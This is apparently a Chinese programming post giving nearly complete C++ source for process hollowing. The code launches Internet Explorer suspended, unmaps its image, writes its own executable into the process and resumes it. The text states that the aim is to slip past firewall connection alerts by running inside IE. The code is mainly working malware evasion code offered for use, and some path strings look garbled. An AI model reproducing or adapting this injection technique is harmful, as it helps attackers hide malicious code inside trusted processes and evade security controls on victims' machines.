这段代码启动 iexplorer.exe 进程,将本身 EXE 的 image 数据写入 iexplorer.exe 地址空间中. 可能出现的问题是 如果本身 EXE 加载了其它 DLL 那么将会应为库缺失而执行出错. 应该是本身 EXE 的引用API 全部用 LoadLibrary,GetProcAddress 来得到。系统只会为每个 Image File 默认加载几个系统 DLL, 例如 kernel32.dll.
配合 sock 可以绕过防火墙的连接警报。
// Inject.cpp : 定义控制台应用程序的入口点。
//
#include "stdafx.h"
#include <windows.h>
#pragma comment(lib,"ntdll.lib")
typedef long NTSTATUS;
extern "C"
{
NTSYSAPI
NTSTATUS
NTAPI
ZwUnmapViewOfSection( HANDLE ProcessHandle, PVOID BaseAddress );
}
typedef struct _ChildProcessInfo
{
DWORD dwBaseAddress;
DWORD dwReserve;
} CHILDPROCESS, *PCHILDPROCESS;
BOOL FindIePath( char *IePath, int *dwBuffSize );
BOOL InjectProcess(void);
DWORD GetSelfImageSize( HMODULE hModule );
BOOL CreateInjectProcess( PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess );
char szIePath[MAX_PATH];
int main(void)
{
if (InjectProcess() )
{
printf("This is my a test code,made by FISH./r/n");
} else
{
MessageBox(NULL,"进程插入完成","Text",MB_OK);
}
return 0;
}
BOOL FindIePath( char *IePath, int *dwBuffSize )
{
char szSystemDir[MAX_PATH];
GetSystemDirectory(szSystemDir,MAX_PATH);
szSystemDir[2] = '/0' ;
lstrcat(szSystemDir,"//Program Files//Internet Explorer//iexplore.exe");
lstrcpy(IePath, szSystemDir);
return TRUE;
}
BOOL InjectProcess(void)
{
char szModulePath[MAX_PATH];
DWORD dwImageSize = 0;
STARTUPINFO si = {0};
PROCESS_INFORMATION pi;
CONTEXT ThreadCxt;
DWORD *PPEB;
DWORD dwWrite = 0;
CHILDPROCESS stChildProcess;
LPVOID lpVirtual = NULL;
PIMAGE_DOS_HEADER pDosheader = NULL;
PIMAGE_NT_HEADERS pVirPeHead = NULL;
HMODULE hModule = NULL;
ZeroMemory( szModulePath, MAX_PATH );
ZeroMemory( szIePath, MAX_PATH );
GetModuleFileName( NULL, szModulePath, MAX_PATH );
FindIePath( szIePath, NULL );
if ( lstrcmpiA( szIePath, szModulePath ) == 0 )
{
MessageBox (NULL, "当前执行代码的进程是 IEXPLORER.EXE", "已经被注入", MB_OK );
return FALSE;
}
hModule = GetModuleHandle( NULL );
if ( hModule == NULL )
{
return FALSE;
}
pDosheader = (PIMAGE_DOS_HEADER)hModule;
pVirPeHead = (PIMAGE_NT_HEADERS)((DWORD)hModule + pDosheader->e_lfanew);
dwImageSize = GetSelfImageSize(hModule);
//
// 以挂起模式启动一个傀儡进程,这里为了传透防火墙,使用IE进程
//
if ( CreateInjectProcess( &pi, &ThreadCxt , &stChildProcess ) )
{
printf("CHILD PID: [%d]/r/n",pi.dwProcessId);
//
// 卸载需要注入进程中的代码
//
if ( ZwUnmapViewOfSection( pi.hProcess, (LPVOID)stChildProcess.dwBaseAddress ) == 0 )
{
//
// 重新分配内存
//
lpVirtual = VirtualAllocEx( pi.hProcess, (LPVOID)hModule, dwImageSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if ( lpVirtual )
{
printf("Unmapped and Allocated Mem Success./r/n");
}
} else
{
printf("ZwUnmapViewOfSection() failed./r/n");
return TRUE;
}
if ( lpVirtual )
{
PPEB = (DWORD *)ThreadCxt.Ebx;
//
// 重写装载地址
WriteProcessMemory( pi.hProcess, &PPEB[2], &lpVirtual, sizeof(DWORD), &dwWrite );
//
// 写入自己进程的代码到目标进程
//
if ( WriteProcessMemory( pi.hProcess, lpVirtual, hModule, dwImageSize, &dwWrite) )
{
printf("image inject into process success./r/n");
ThreadCxt.ContextFlags = CONTEXT_FULL;
if ( (DWORD)lpVirtual == stChildProcess.dwBaseAddress )
{
ThreadCxt.Eax = (DWORD)pVirPeHead->OptionalHeader.ImageBase + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
} else
{
ThreadCxt.Eax = (DWORD)lpVirtual + pVirPeHead->OptionalHeader.AddressOfEntryPoint;
}
#ifdef DEBUG
printf("EAX = [0x%08x]/r/n",ThreadCxt.Eax);
printf("EBX = [0x%08x]/r/n",ThreadCxt.Ebx);
printf("ECX = [0x%08x]/r/n",ThreadCxt.Ecx);
printf("EDX = [0x%08x]/r/n",ThreadCxt.Edx);
printf("EIP = [0x%08x]/r/n",ThreadCxt.Eip);
#endif
SetThreadContext(pi.hThread, &ThreadCxt);
ResumeThread(pi.hThread);
} else
{
printf("WirteMemory Failed,code:%d/r/n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
} else
{
printf("VirtualMemory Failed,code:%d/r/n",GetLastError());
TerminateProcess(pi.hProcess, 0);
}
}
return TRUE;
}
DWORD GetSelfImageSize( HMODULE hModule )
{
DWORD dwImageSize;
_asm
{
mov ecx,0x30
mov eax, fs:[ecx]
mov eax, [eax + 0x0c]
mov esi, [eax + 0x0c]
add esi,0x20
lodsd
mov dwImageSize,eax
}
return dwImageSize;
}
BOOL CreateInjectProcess( PPROCESS_INFORMATION pi,
PCONTEXT pThreadCxt,
CHILDPROCESS *pChildProcess
)
{
STARTUPINFO si = {0};
DWORD *PPEB;
DWORD read;
// 使用挂起模式启动 IE
if( CreateProcess( NULL,
szIePath,
NULL,
NULL,
0,
CREATE_SUSPENDED,
NULL,
NULL,
&si,
pi ) )
{
pThreadCxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, pThreadCxt);
PPEB = (DWORD *)pThreadCxt->Ebx;
// 得到ie的装载基地址
ReadProcessMemory( pi->hProcess, &PPEB[2], (LPVOID)&(pChildProcess->dwBaseAddress),
sizeof(DWORD),
&read );
return TRUE ;
}
return FALSE;
}